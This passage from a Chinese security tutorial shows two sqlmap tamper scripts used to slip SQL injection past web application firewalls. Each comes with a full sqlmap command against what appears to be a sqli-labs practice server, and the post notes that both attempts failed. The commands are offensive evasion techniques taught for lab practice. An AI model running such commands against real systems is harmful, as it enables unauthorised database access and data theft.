标签：sqlmap http -- WAF escapequotes py 测试 演示
18. halfversionedmorekeywords.py脚本
在每个关键字之前都加上Mysql注释，用于过滤了关键字的情况，这个适用于Mysql数据库<5.1版本
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="halfversionedmorekeywords.py" --proxy="http://127.0.0.1:8080" -batch
发现并没有识别出来sql注入，目标是高于mysql数据库5.1版本的，所以不行，那我们看看burp的抓包情况，如下：
19. htmlencode.py脚本
针对测试的payload进行html编码，适用于所有数据库，具体看下面的演示
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="htmlencode.py" --proxy="http://127.0.0.1:8080" -batch
同样是测试不出来结果，看看burp的抓包情况：
进行html编码后的结果就是如：)  类似的形式
标签：sqlmap,http,--,WAF,escapequotes,py,测试,演示 来源： https://www.cnblogs.com/autopwn/p/13516111.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。